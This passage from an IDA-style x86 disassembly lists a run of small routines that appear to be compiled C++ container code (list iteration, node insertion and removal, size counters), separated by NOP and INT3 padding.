sub_4151A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151D0 proc near ; CODE XREF: sub_40147Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D89
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40215D
sub_4151D0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415210 proc near ; CODE XREF: sub_401258j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_401D89
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4012E9
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401D5C
test al, al
jz short loc_415291
push edi
mov edi, [esp+14h+arg_0]
loc_415243: ; CODE XREF: sub_415210+7Ej
lea ecx, [esp+14h+var_C]
call sub_401FA5
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415275
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_40156E
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
jmp short loc_41527E
; ---------------------------------------------------------------------------
loc_415275: ; CODE XREF: sub_415210+42j
lea ecx, [esp+14h+var_C]
call sub_4020A4
loc_41527E: ; CODE XREF: sub_415210+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401D5C
test al, al
jnz short loc_415243
pop edi
loc_415291: ; CODE XREF: sub_415210+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152D0 proc near ; CODE XREF: sub_401E1Fj
push esi
mov esi, ecx
call sub_401EB5
mov eax, esi
pop esi
retn
sub_4152D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152F0 proc near ; CODE XREF: sub_401FA5j
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_4152F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415310 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415340 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015CD
neg al
sbb eax, eax
inc eax
retn 4
sub_415340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415370 proc near ; CODE XREF: sub_401F05j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C7B
sub_415370 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4153B0 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E1A
sub_4153B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401983j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401249
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415460 proc near ; CODE XREF: sub_402234j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415490 proc near ; CODE XREF: sub_401EF1j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402234
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A96
sub_415490 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154D0 proc near ; CODE XREF: sub_401924j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4154D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415520 proc near ; CODE XREF: sub_401154j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_402234
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_401983
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401AD7
test al, al
jz short loc_4155A1
push edi
mov edi, [esp+14h+arg_0]
loc_415553: ; CODE XREF: sub_415520+7Ej
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415585
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
jmp short loc_41558E
; ---------------------------------------------------------------------------
loc_415585: ; CODE XREF: sub_415520+42j
lea ecx, [esp+14h+var_C]
call sub_4018B6
loc_41558E: ; CODE XREF: sub_415520+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401AD7
test al, al
jnz short loc_415553
pop edi
loc_4155A1: ; CODE XREF: sub_415520+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155E0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E79
mov eax, esi
pop esi
retn
sub_4155E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402126
add esp, 4
retn
sub_415600 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415620 proc near ; CODE XREF: sub_4018B6j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415620 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415650 proc near ; CODE XREF: sub_401AD7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EA6
neg al
sbb eax, eax
inc eax
retn 4
sub_415650 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415680 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DA2
sub_415680 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4156C0 proc near ; CODE XREF: sub_4014B5j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401EF6
sub_4156C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401BB8
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415770 proc near ; CODE XREF: sub_40114Aj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415770 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157A0 proc near ; CODE XREF: sub_401406j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401CFD
sub_4157A0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4157E0 proc near ; CODE XREF: sub_401C62j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
pop esi
add esp, 0Ch
retn
sub_4157E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415830 proc near ; CODE XREF: sub_402130j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_40114A
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4018F2
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401339
test al, al
jz short loc_4158B1
push edi
mov edi, [esp+14h+arg_0]
loc_415863: ; CODE XREF: sub_415830+7Ej
lea ecx, [esp+14h+var_C]
call sub_40135C
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415895
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_415895: ; CODE XREF: sub_415830+42j
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41589E: ; CODE XREF: sub_415830+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401339
test al, al
jnz short loc_415863
pop edi
loc_4158B1: ; CODE XREF: sub_415830+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415830 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158F0 proc near ; CODE XREF: sub_402252j
push esi
mov esi, ecx
call sub_401E29
mov eax, esi
pop esi
retn
sub_4158F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017DA
add esp, 4
retn
sub_415910 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415930 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BB8
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415930 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415960 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40144C
neg al
sbb eax, eax
inc eax
retn 4
sub_415960 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415990 proc near ; CODE XREF: sub_40113Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415990 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159D0 proc near ; CODE XREF: sub_4016CCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_4159D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415A00 proc near ; CODE XREF: sub_40215Dj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C4E
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401EBA
sub_415A00 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401EFB
add esp, 4
mov ecx, esi
push eax
call sub_402194
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401DA7
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AA0 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CA8
test al, al
jz short loc_415AED
push edi
mov edi, [esp+8+arg_0]
loc_415ABA: ; CODE XREF: sub_415AA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A4B
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40215D
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_4020EF
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CA8
test al, al
jnz short loc_415ABA
pop edi
loc_415AED: ; CODE XREF: sub_415AA0+13j
pop esi
retn 0Ch
sub_415AA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B20 proc near ; CODE XREF: sub_401FAFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40156E
mov ecx, eax
call sub_401C4E
mov esi, eax
push esi
call sub_40208B
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_40208B
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401EFB
add esp, 1Ch
mov ecx, edi
push eax
call sub_4014F6
push esi
mov ecx, edi
call sub_401CD5
sub_415B20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BE0 proc near ; CODE XREF: sub_401465j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jz short loc_415C3A
loc_415BF8: ; CODE XREF: sub_415BE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40156E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jnz short loc_415BF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415C3A: ; CODE XREF: sub_415BE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415BE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C70 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020D6
sub_415C70 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415C85
mov edi, esi
loc_415C85: ; CODE XREF: ___:00415C81j
push esi
call sub_40208B
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415C9A
mov edi, esi
loc_415C9A: ; CODE XREF: ___:00415C96j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415CC0 proc near ; CODE XREF: sub_401CD5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E01
sub_415CC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40208Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D00 proc near ; CODE XREF: sub_401EFBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415D00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D20 proc near ; CODE XREF: sub_401EB5j
mov eax, ecx
retn
sub_415D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D40 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415D40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D70 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020A4
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415D70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DA0 proc near ; CODE XREF: sub_4015CDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415DA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DD0 proc near ; CODE XREF: sub_401A96j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F6E
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C7B
sub_415DD0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402126
add esp, 4
mov ecx, esi
push eax
call sub_4015E6
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401CC6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415E70 proc near ; CODE XREF: sub_4017DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F6E
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402126
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D4D
push esi
mov ecx, edi
call sub_401E1A
sub_415E70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415F30 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jz short loc_415F8A
loc_415F48: ; CODE XREF: sub_415F30+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jnz short loc_415F48
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415F8A: ; CODE XREF: sub_415F30+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415F30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415FC0 proc near ; CODE XREF: sub_401C7Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015A5
sub_415FC0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415FD5
mov edi, esi
loc_415FD5: ; CODE XREF: ___:00415FD1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415FEA
mov edi, esi
loc_415FEA: ; CODE XREF: ___:00415FE6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416010 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416010 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416030 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416050 proc near ; CODE XREF: sub_402126j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416050 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416070 proc near ; CODE XREF: sub_401E79j
mov eax, ecx
retn
sub_416070 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416090 proc near ; CODE XREF: sub_401CC6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416090 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4160C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018B6
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4160C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
